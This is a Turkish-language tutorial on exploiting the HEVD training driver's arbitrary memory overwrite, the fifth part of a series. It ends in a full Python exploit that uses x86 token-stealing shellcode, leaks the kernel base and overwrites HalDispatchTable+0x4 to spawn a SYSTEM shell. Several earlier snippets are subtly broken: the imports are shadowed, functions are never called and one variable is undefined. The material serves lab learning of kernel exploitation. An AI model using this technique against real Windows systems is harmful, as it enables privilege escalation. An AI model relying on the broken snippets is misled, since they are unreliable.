Windows Kernel Exploitation 5 - Arbitrary Memory Overwrite Açıgı

Windows Kernel istismarlarıyla ilgili çalışmalara devam ediyoruz. Serinin geride kalan kısımlarında ortam hazırlama, shellcode ve token alma, son olarak ise stack tabanlı bufferoverflow açığının kullanımı ile ilgiliydi. Şimdi ve bir sonraki yazılar gerçek türdeki güvenlik açıklarına doğru ilerlemek olacaktır ki bugünkü yazımız buralara atacağımız adım açısından önemli olacaktır.

Bugünkü yazımızın konusu Arbitrary Memory Overwrite (Write-What-Where) açığı olacaktır. Buradaki amacımız temel olarak Çekirdek dağıtım tablosundaki(where) shellcode (What) adresiyle bir işaretçinin üzerine yazmak olacaktır. Ortam ile ilgili pek fazla birşey belirtmeye gerek olduğunu düşünmüyorum. Bununla ilgili olarak serinin önceki yazılarını inceleyebilirsiniz.

Kaynak Kodların İncelenmesi 1 - Header Dosyasına bakış

Öncelikli olarak bizlere HEVD tarafından sağlanan zaafiyetli kodlara gözatıyoruz. İlk olarak header dosyasına yani ArbitraryWrite.h‘da yer alan kod parçacıklarından ilkine göz gezdirdiğimizde:

typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

Kod parçacıcığının ilk satırında typedef yer alıyor ve bu c dilindeki veri yapılardan biridir. Typedef kullanım amacı ise burada kendi veri tipimizi oluşturmada yardımcı olmasıdır. C dilindeki diğer bir yapı olan define ile bazı benzerlikler gösterir fakat yinede farklılıkları olduğunu bilmekte fayda var.

Daha sonra ise WRITE_WHAT_WHERE geliyor. Bu satır _WRITE WHAT WHERE yapısına başvurmak için kullanılabilecek bir takma ad veya tanımlama diyebiliriz. Kod bloğunun son kısmına geldiğimizde ise PWRITE_WHAT_WHERE adlı bir işaretçinin de oluştuğunu görüyoruz. Orta kısımda ise What ve Where adında işaretçi olduğunu görüyoruz. _WRITE_WHAT_WHERE, What ve Where’i içeren bu yapıya atıfta bulunmaktadır. Daha sonra PWRITE_WHAT_WHERE referans verildiği zaman bu yapı için bir işaretçi oluyor.

NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
);

Dosyada yer alan son kod parçacığına göz gezdirdiğimizde; UserWriteWhatWhere değişkeni PWRITE_WHAT_WHERE veri türüyle ilişkilendirildiğini görüyoruz. Daha sonra ise TriggerArbitraryWrite() kaynak dosyasına iletilir.

Kaynak Kodların İncelenmesi 2 - Ana kodlara bakış

Header dosyasına baktıktan sonraki durağımız ise ArbitraryWrite.c dosyasına bakmak olacaktır.

PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;

Yukarıdaki kod parçacığında gördüğünüz üzere What ve Where işaretçileri, NULL işaretçileri olarak başlatılır. Aşağıdaki kod parçacıcığında ise zaafiyetin bulunduğu kısma göz atacağız.

#else
        DbgPrint("[+] Triggering Arbitrary Write\n");

        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //

        *(Where) = *(What);

Görüldüğü üzere WHAT‘ın işaret ettiği değer WHERE tarafından referans verilen bellek konumuna yazılabilir. Buradaki problem ise ProbeForRead() ve ProbeForWrite gibi WindowsAPI’ler kullanılarak, kullanıcı modunda WHAT ve WHERE değerlerinin yer alıp-almadığını doğrulayan hiçbir doğrulama mekanizmasının olmamasıdır. Bu istismarı yazının ilerleyen bölümlerinde kullanıcı modu shellcode’umuzda kullanabileceğz.

IOCTL Keşfi ve Sürücü İletişimi

Yukarıdaki kısımda zaafiyetin olduğu kısmı açıklamıştık. Ve bu kodu tetikleyebilmemiz için IOCTL koduna da ihtiyacımız bulunuyor. Bir önceki seride hatırlayacağınız gibi IDA Pro üzerinden IrpDeviceIoCtlHandler fonksiyonunu incelemiştik. Fakat burada tüm kodlar için HackSysExtremeVulnerableDriver.h dosyasına bakacağız ve IOCTL kodunu manuel olarak hesaplayacağız. Tabi ki dileyen kişiler statik analiz yöntemiyle IDA Pro üzerinden de gidebilirler.

hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)

Gerekli IOCTL kodunu keşfedebilmek içinse kaynak kod tarafından sağlanan CTL_CODEu 0x820’yi kullanabiliriz. Yukarıdaki python komutunu kullandıktan sonra IOCTL kodumuz 0x22200b‘dir.

Bunun haricinde IDA Pro’ya geri dönüp TriggerArbitraryOverwrite fonksiyonuna baktığımızda; resimde gördüğünüz gibi 2 ayrı 4 byte uzunluğu yer alıyor. Bir tane 4 byte uzunluğu WHAT, diğer 4 byte uzunluğuda WHERE‘e aittir.

Exploit Oluşturmadan Önce Kısa bir bilgi

Kullanılacak exploitler python dilinde olacaktır. Exploitlerde Python’daki Ctypes kütüphanesinden yararlanacağım. Bu yüzden kısa bir bilgi vermek istiyorum.

Ctypes, yabancı olan fonksiyonların Python’da kullanılmasını sağlayan bir kütüphanedir. Bu kütüphane, C programlama dilindeki uyumlu veri türlerini ve DLL’lerde veya paylaşılan kütüphanelerdeki çağrı fonksiyonlarının kullanılmasına izin veriyor.

Ctypes daha çok low-level düzeyde çalışan yada çalışmaya karar veren kişiler için uygundur diyebiliriz. Buna örnek vermek adına; mesela kernel düzeyde çalışmalar yapılıyorsa - kernelde debug çalışmaları gibi- veya işletim sisteminde yer alan API’leri Python’da oluşturacağımız projelerde kullanmak istiyorsak bu kütüphaneden yararlanabiliyoruz.

PoC Zamanı

Evet, gerekli bilgiler ve IOCTL kodundan sonra exploit yazma kısmına geçebiliriz.

#Python 2.7.16 ile olusturulmustur.
#ctypes kütüphanesinden yararlanıyoruz
import sys
import os
from ctypes import *
from subprocess import *
from struct import *
 

# Windows API etkileşimi için DLL'ler
def windll():
    kernel32 = windll.kernel32
    ntdll = windll.ntdll
    psapi = windll.Psapi

# DeviceIoControl() işlevine dönmek için sürücüyü tanıma
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
def kernel32():
    handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver",     # lpFileName
    0xC0000000,                                  # dwDesiredAccess
    0,                                           # dwShareMode
    None,                                        # lpSecurityAttributes
    0x3,                                         # dwCreationDisposition
    0,                                           # dwFlagsAndAttributes
    None                                         # hTemplateFile
)

poc = "\x41\x41\x41\x41"                # What
poc += "\x42\x42\x42\x42"               # Where
poc_length = len(poc)

# 0x002200B = TriggerArbitraryOverwrite() işlevine atlayacak olan IOCTL kodumuz
def DeviceIoControl():
    kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x0022200B,                         # dwIoControlCode
    poc,                                # lpInBuffer
    poc_length,                         # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)

Şimdi debugger ve debugee makinemizde gerekli bağlantıyı kuruyoruz ve exploit’i çalıştırıyoruz. Yukarıdaki çıktıda da gördüğünüz üzere şuan için geldiğimiz noktada belirli bir değer yazabiliyoruz. Bu değer yazmanın bize çekirdek modundan kullanıcı modu shellcode çalıştırmada nasıl yardımcı olabileceğine bir göz atalım.

Hatırlayacağınız gibi bir önceki yazımızda değindiğim stack tabanlı bufferoverflow açığında, kullanıcı modu belleğimiz herhangi bir denetim yapılmadan direkt olarak çekirdek moduna kopyalanmıştı. Ama şimdiki durumumuzda doğrudan çekirdek moduna herhangi bir bellek kopyası olayı yoktur. Fakat çekidek modundan kullanıcı modu shellcode yürütmek içinde bir teknik mevcuttur.

Bu teknik HalDispatchTable+0x4 istismar tekniği kapsamaktadır. Burada Shellcode adresimizi Hal Dispatch Table‘a yazacağız, daha sonra da NtQueryIntervalProfile işleviyle çağırabileceğimiz bir Dispatch Table işaretçisinin üzerine yazacağız.

HAL Dispatch - HAL Dispatch Table

HAl Dispatch’dan bahsedersek eğer; bu yapı isteğe bağlı HAL işlevine işaret eden bir yapıdır. Çekirdek ise bu tablonun bir örneğini tutar. Bu tablo, çekirdeğin read-write verileri bölümünde bulunur ve adresi HalDispatchTable olarak dışarı export eder. Tablo başlangıçta birçoğu önemsiz fakat bazılarının da önemli olduğu fonksiyonların çoğunu (tamamı değil) içerir. HAL, burada hepsini olmasa da bazılarını geçersiz kılar. Belirli bir HAL için hiçbir anlamı olmayan fonksiyonlar çekirdeğin varsayılan değerine bırakılmıştır.

HAlDispatchTable‘dan bahsedersek eğer; çeşitli HAL rutinlerine fonksiyon işaretçilerini tutan bir tablo gibi davranmaktan sorumludur. HAL (Hardware Abstraction Layer), kernel modu yürütme arasında bir yazılım katmanı ve bir donanım(anakart, CPU, NICS vb.) arabirim olarak davranmaktan sorumludur. Ve HAL ntoskrnl.exe tarafından çağrılan hal.dll‘de bulunur.

İstismar Tekniği

Arbitrary Write istismarıyla, çekirdek içerisindeki kontrollü bellek konumuna, kontrollü bir payload yazdırabiliriz. Daha önce belirttiğimiz gibi bunu HalDispatchTable’da bulunan bir işaretçinin üzerine yazacağız. Burada HalDispatchTable’ı kullanacağız ve onu kullanıcı modu perspektifinden dökümansız WindowsAPI’lerden biri olan NtQueryIntervalProfile yardımıyla çağıracağız.

NTSTATUS 
NtQueryIntervalProfile (
    KPROFILE_SOURCE ProfileSource, 
    ULONG *Interval);

Çekirdekte nt!KeQueryIntervalProfile öğesi çağrılır, buda HalDispatchTable+0x4 öğesinden yararlanmak için kullanılır. Eğer biz burada HalDispatchTable+0x4 üzerine yazıp NtQueryIntervalProfile işlevini çağırırsak, bu bir tetikleyici görevi görür. Daha sonrada shelcode payload işaretcisini KernelLand‘a yazabilir ve bir UserLand fonksiyon çağrısı ile tetiklenmesini sağlayabiliriz.

İstismar Tekniği - Windbg Aşaması

Yukarıda istismar tekniğimizde 0x4 öğesi ve diğer bilgiler yer alıyor. Öncelikli olarak bunun nereden geldiğine Windbg üzerinden bakabiliriz.

kd>u nt!NtQueryIntervalProfile

Yukarıdaki bilgilerde belirtildiği gibi NtQueryIntervalProfile foksiyonu KeQueryIntervalProfile için doğrudan çağrı yapar. Yukarıdaki WinDbg aşamasına baktığımızda bunu görebiliyoruz.

kd>u nt!KeQueryIntervalProfile

İlk WinDbg çıktısına baktığımızda KeQueryIntervalProfile fonksiyonunu görüyoruz. KeQueryIntervalProfile işlevinin HAL tablosundaki 0x4 konumuna özel olarak nasıl çağırdığını da görebiliriz. Bu kısımdan sonra exploitimizi tamamlama kısmına geçebiliriz.

Expoliti Tamamlama - Yol Haritası

Exploitimizi tamamlama kısmında atacağımız adımlara baktığımızda:

  • İlk olarak tüm aygıt sürücüleri için yükleme adreslerini numaralandıracağız. Bunu da EnumDeviceDrivers() fonksiyonu yardımıyla yapacağız.
  • Daha sonra GetDeviceDriverBaseNameA fonksiyonu aracılığıyla sürücülerin temel adını bulacağız.
  • Ve ntoskrnl.exe için temel ad ve adresini alacağız.
  • LoadLibraryExA içine ntoskrnl.exe tanıtıcısını yükleyip, GetProcAddress ile HalDispatchTable adresini numaralandırılacak.
  • HalDispatchTable adresi bulunduğunda, HalDispatchTable + 0x4 (4 bayt ekleyerek) adresini hesaplayacağız ve bu işaretçiyi kullanıcı modu shellcode EnumDeviceDrivers()’aya bir işaretçi ile üzerine yazacağız.

Expoliti Tamamlama - EnumDeviceDrivers()

#EnumDeviceDrivers () aracılığıyla tüm sürücüler için adresleri numaralandırma
    enum_base = (c_ulong * 1024)()
    enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
   
    #Eğer fonksiyon başarısız olursa,hata işleme
    if not enum:
        print "Failed to enumerate!!!"
        sys.exit(-1)

Yukarıdaki kod parçacığında sürücülerin temel adresleri numaralandırılır ve bir dizine aktarılır. Temel adreslerin numaralandırılması bittikten sonra ise ntoskrnl.exe adresini bulmaya devam ediyoruz.

Expoliti Tamamlama - ntoskrnl.exe

#GetDeviceDriverBaseName() kullanarak, 
    #ntoskrnl.exe için numaralandırılmış adresler arasında geçiş yapma
    for base_address in enum_base:
        if not base_address:
            continue
        base_name = c_char_p('\x00' * 1024)
        driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
        
        # Eğer fonksiyon başarısızı olursa, hata işleme
        if not driver_base_name:
            print "Unable to get driver base name!!!"
            sys.exit(-1)

        if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
            
            #ntoskrnl.exe bulunduğu zaman, bulunduğu andaki değeri döndürme
            base_name = base_name.value
            print "[+] Loaded Kernel: {0}".format(base_name)
            
            # ntoskrnl.exe adresini göstermek için print update
            print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
            break

Yukarıdaki kod parçacığına baktığımızda; bu temelde tüm temel adreslerin dışa aktarıldığı dizide dolaşır ve GetDeviceDriverBaseNameA() aracılığıyla ntoskrnl.exe dosyasını arar. Bulunduktan sonra ise kaydedilir.

Expoliti Tamamlama - LoadLibraryExA

# Numaralandırmaya başlama
kernel_handle = kernel32.LoadLibraryExA(
    current_name,                       # lpLibFileName (specifies the name of the module, in this case ntlkrnl.exe)
    None,                               # hFile (parameter must be null)
    0x00000001                          # dwFlags (DONT_RESOLVE_DLL_REFERENCES)
)

Yukarıdaki kod parçacıcığına baktığımızda; LoadLibraryExA, tanıtıcıyı GetDeviceDriverBaseNameA() (ntoskrnl.exe) öğesinden alır. Daha sonra ise aşağıda gördüğünüz kod parçacığında, belleğe yüklenen tutamacı GetProcAddress() fonksiyonuna geçirmek için ilerler.

Expoliti Tamamlama - GetProcAddress()

hal = kernel32.GetProcAddress(
    kernel_handle,                      # hModule (handle passed via LoadLibraryExA to ntoskrnl.exe)
    'HalDispatchTable'                  # lpProcName (name of value)
)

# Kullanıcı modunda ntoskrnl tabanını çıkarma
hal -= kernel_handle

# Çekirdek modunda ntoskrnl'in temel adresini ekleme
hal += base_address

# HAL + 0x4'ü hatırlıyorsunuz. Bu adreside alıyoruz
real_hal = hal + 0x4

# HAL ve HAL + 0x4 konumunu print update yapıyoruz.
print "[+] HAL location: {0}".format(hex(hal))
print "[+] HAL + 0x4 location: {0}".format(hex(real_hal))

Yukaridaki kod parçacığına baktığımızda; GetProcAddress() bize HalDispatchTable ve HalDispatchTable + 0x4 adresini açıklayacaktır.

Burada bizim en çok ilgilendiren kısım HalDispatchTable + 0x4. HalDispatchTable + 0x4 için adresimiz olduğunda exploit kodumuzu uçmaya hazırlayabiliriz.

Expoliti Tamamlama - ShellCode’u Alma ve Ekleme

Bundan önceki serilerde shelcode’un nasıl alındığı ile ilgili olarak detaylıca belirtmiştim. Seriyle ilgili önceki yazılara bakabilirsiniz.

Expoliti Tamamlama - Final ve Çalıştırma

import ctypes, sys, struct
from ctypes import *
from subprocess import *

class WriteWhatWhere(Structure):
    _fields_ = [
        ("What", c_void_p),
        ("Where", c_void_p)
    ]
#Windows API etkileşimi için DLL'ler
def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll

    #Shellcodu'muzu tanımlama ve Vırtualloc'a yükleme
    payload = bytearray(
        "\x90\x90\x90\x90"              # NOP Sled
        "\x60"                          # pushad
        "\x31\xc0"                      # xor eax,eax
        "\x64\x8b\x80\x24\x01\x00\x00"  # mov eax,[fs:eax+0x124]
        "\x8b\x40\x50"                  # mov eax,[eax+0x50]
        "\x89\xc1"                      # mov ecx,eax
        "\xba\x04\x00\x00\x00"          # mov edx,0x4
        "\x8b\x80\xb8\x00\x00\x00"      # mov eax,[eax+0xb8]
        "\x2d\xb8\x00\x00\x00"          # sub eax,0xb8
        "\x39\x90\xb4\x00\x00\x00"      # cmp [eax+0xb4],edx
        "\x75\xed"                      # jnz 0x1a
        "\x8b\x90\xf8\x00\x00\x00"      # mov edx,[eax+0xf8]
        "\x89\x91\xf8\x00\x00\x00"      # mov [ecx+0xf8],edx
        "\x61"                          # popad
        "\x31\xc0"                      # xor eax,eax
        "\x83\xc4\x24"                  # add esp,byte +0x24
        "\x5d"                          # pop ebp
        "\xc2\x08\x00"                  # ret 0x8
    )
    print "[+] Allocating RWX region for shellcode"
    ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(payload)),c_int(0x3000),c_int(0x40))
    buff = (c_char * len(payload)).from_buffer(payload)
    print "[+] Copying shellcode to newly allocated RWX region"
    kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(payload)))
    #Python, bir değeri döndürmek için id kullanırken,degerden 20 bytes'lık bir offset oluşturur.
    #Id değeri döndürdükten sonra, döndürülen değeri 20 bytes'lık arttırmak gerekiyor.
    payload_address = id(payload) + 20
    payload_final = struct.pack("<L",ptr)
    payload_final_address = id(payload_final) + 20
    #Shellcode update ifadesinin yeri 
    print "[+] Address of ring0 payload: {0}".format(hex(payload_address))
    #Shellcode'una işaretçi konumu
    print "[+] Pointer for ring0 payload: {0}".format(hex(payload_final_address))

    #EnumDeviceDrivers () aracılığıyla tüm sürücüler için adresleri numaralandırma
    enum_base = (c_ulong * 1024)()
    enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
    #Eğer fonksiyon başarısız olursa,hata işleme
    if not enum:
        print "Failed to enumerate!!!"
        sys.exit(-1)

    #GetDeviceDriverBaseName() kullanarak, 
    #ntoskrnl.exe için numaralandırılmış adresler arasında geçiş yapma
    for base_address in enum_base:
        if not base_address:
            continue
        base_name = c_char_p('\x00' * 1024)
        driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
        
        # Eğer fonksiyon başarısızı olursa, hata işleme
        if not driver_base_name:
            print "Unable to get driver base name!!!"
            sys.exit(-1)

        if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
            
            #ntoskrnl.exe bulunduğu zaman, bulunduğu andaki değeri döndürme
            base_name = base_name.value
            print "[+] Loaded Kernel: {0}".format(base_name)

            # ntoskrnl.exe adresini göstermek için print update
            print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
            break

    #Numaralandırmaya başlanması
    kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
    if not kernel_handle:
        print "Unable to get Kernel Handle"
        sys.exit(-1)

    #HAL adresi alma
    hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')

    # Kullanıcı modunda ntoskrn tabanını çıkarma
    hal_address -= kernel_handle

    # Çekirdek modunda ntoskrnl'ın temel adresini ekleme
    hal_address += base_address

    # HalDispatchTable+0x4 için HAL adresine 0x4 ekleme
    hal4 = hal_address + 0x4

    print "[+] HalDispatchTable    : {0}".format(hex(hal_address))
    print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4))

    #What-Where
    www = WriteWhatWhere()
    www.What = payload_final_address
    www.Where = hal4
    www_pointer = pointer(www)

    print "[+] What : {0}".format(hex(www.What))
    print "[+] Where: {0}".format(hex(www.Where))

    # DeviceIoControl() işlevine dönmek için sürücüyü tanıma
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    # 0x002200B = TriggerArbitraryOverwrite() işlevine atlayacak olan IOCTL kodumuz
    kernel32.DeviceIoControl(hevDevice, 0x0022200B, www_pointer, 0x8, None, 0, byref(c_ulong()), None)

    #NtQueryIntervalProfile fonksiyonunu çağırıp, shellcode'unu yürütme
    ntdll.NtQueryIntervalProfile(0x1234, byref(c_ulong()))
    print "[+] nt authority\system shell incoming"
    Popen("start cmd", shell=True)

if __name__ == "__main__":
    main()

Daha sonrasında exploit’i çalıştırdığımızda, sistemde yetkili olduğumuzu görebiliyoruz.

Referanslar

1- https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/hal_dispatch.htm

2- https://rootkits.xyz/blog/2017/09/kernel-write-what-where/

3- https://docs.python.org/2.7/

4- https://www.vergiliusproject.com/kernels/x86/Windows%207/SP1

5- https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa?redirectedfrom=MSDN

6- HackSysteam Github